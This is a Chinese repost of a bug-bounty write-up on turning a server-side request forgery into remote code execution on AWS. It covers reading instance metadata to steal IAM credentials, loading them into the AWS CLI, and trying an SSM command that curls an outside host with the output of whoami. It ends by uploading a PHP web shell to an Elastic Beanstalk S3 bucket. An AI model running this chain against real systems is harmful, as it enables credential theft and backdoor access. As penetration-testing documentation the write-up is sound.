zoukankan      html  css  js  c++  java
  • 将SSRF升级为RCE(AWS环境)

    原文:https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/

    查找域名范围:

    在枚举客户端的子域名时。找到了子域名[docs]

    打开这个子域名[docs.redact.com]

    查找带外资源负载:

    [docs]子域名显示了一些文档和统计信息

    在点击统计数据的照片时,有请求内部URL的链接:

    将[url]的值改为generaleg0x01.com

    [mimeType]参数编辑了链接,并将值更改为:

    https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11
    
    

    到目前为止它只是[带外资源负载]

    验证SSRF:

    检查BurpSuite中的requests/responses时注意到Response头[X-Amz-Cf-Id]

    这是在AWS 环境上的标识。已经知道[169.254.169.254]是EC2实例的本地IP地址。

    尝试导航到[/latest/meta-data/]来访问元数据文件夹。

    确认有SSRF漏洞

    EC2环境中的利用方式

    通过导航到[/latest/meta-data/iam/security-credentials/]来检查当前的角色。

    这是aws-elasticbeanstalk-ec2-role

    什么是AWS Elastic Beanstalk?

    • AWS Elastic Beanstalk是AWS提供的平台即服务(PaaS)产品,用于部署和扩展针对各种环境(如Java,.NET,PHP,Node.js,Python,Ruby和Go)开发的Web应用程序。
    • 它自动处理部署,容量配置,负载平衡,自动扩展和应用程序运行状况监视。

    窃取所需数据:

    1)跳转到[/ latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/]页面

    可以得到[AccessKeyId,SecretAccessKey,Token]

    2)跳转到[/ latest/dynamic/instance-identity/document/]页面

    可以得到[instanceId,accountId,region]

    配置AWS命令行界面:

    • 打开终端,敲这些命令:
    ~# apt install awscli
    
    ~# export AWS_ACCESS_KEY_ID=AccessKeyId
    ~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey
    ~# export AWS_DEFAULT_REGION=region
    ~# export AWS_SESSION_TOKEN=Token
    

    • 得到[UserID]
    ~# aws sts get-caller-identity
    

    探索更多的可能性,将其升级为更大的“RCE”。

    将SSRF升级为RCE:

    尝试一些潜在的exploit场景。

    通过[ssm send-command]提权 失败

    经过几项研究尝试使用AWS Systems Manager [ssm]命令。

    但是该角色无权执行此命令。用aws ssm send-command提权回显如下。

    ~# aws ssm send-command –instance-ids “instanceId” –document-name “AWS-RunShellScript” –comment “whoami” –parameters commands=’curl 128.199.xx.xx:8080/`whoami`’ –output text –region=region
    

    回显内容:

    An error occurred (AccessDeniedException) when calling the SendCommand operation: User: arn:aws:sts::765xxxxxxxxx:assumed-role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxx is not authorized to perform: ssm:SendCommand on resource: arn:aws:ec2:us-east-1:765xxxxxxxxx:instance/i-00xxxxxxxxxxxxxx
    

    • 通过[SSH]提权 失败

    SSH端口已关闭。用知名的场景提权:

    “创建RSA身份验证密钥对(公钥和私钥),以便能够从帐户登录远程站点,而无需输入密码。”

    • [Uploading Backdoor] 提权 成功

    试图阅读[S3 Bucket]内容:

    尝试使用AWS CLI运行多个命令以从AWS实例检索信息。但是,由于安全策略的原因,对大多数命令的访问被拒绝。

    ~# aws s3 ls
    

    回显内容:

    An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied
    

    经过几项研究后发现托管策略“AWSElasticBeanstalkWebTier”只允许访问名称以“elasticbeanstalk”开头的S3 buckets。

    访问S3 buckets格式如下:

    elasticbeanstalk-区域-账户-id
    

    现在, bucket名称为“elasticbeanstalk-us-east-1-76xxxxxxxx00”。

    以递归方式列出“elasticbeanstalk-us-east-1-76xxxxxxxx00”的bucket资源,使用AWS CLI执行列出长时间运行的任务:

    ~# aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ –recursive
    

    现在尝试上传一个后门!

    ~# cat cmd.php
    

    文件内容:

    
    1. <?php **if**(**isset**($_REQUEST['cmd'])){ **echo** "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); **echo** "</pre>"; **die**; }?>
    

    ~# aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/
    

    upload: ./cmd.php to s3://docs.redact.com/cmd.php
    

    成功获得了RCE!

    简而言之:

    可以通过多种方式将服务器端请求伪造升级到远程执行代码,但这取决于目标环境。

  • 相关阅读:
    Pro*C,oci,occi的作用以及区别联系?
    图片缩放 剪切
    去除DataGridView选中行背景色的方法
    重写DataGridView的sort方法 自定义排序
    很好用的js日历 kimsoftjscalendar 感谢KimSoft
    计时器例子
    gcc与g++有什么区别?
    VB.NET全角半角check
    Java 集合框架(Collection)和数组的排序
    Click Models for Web Search(1) Basic Click Models
  • 原文地址:https://www.cnblogs.com/17bdw/p/10832037.html
Copyright © 2011-2022 走看看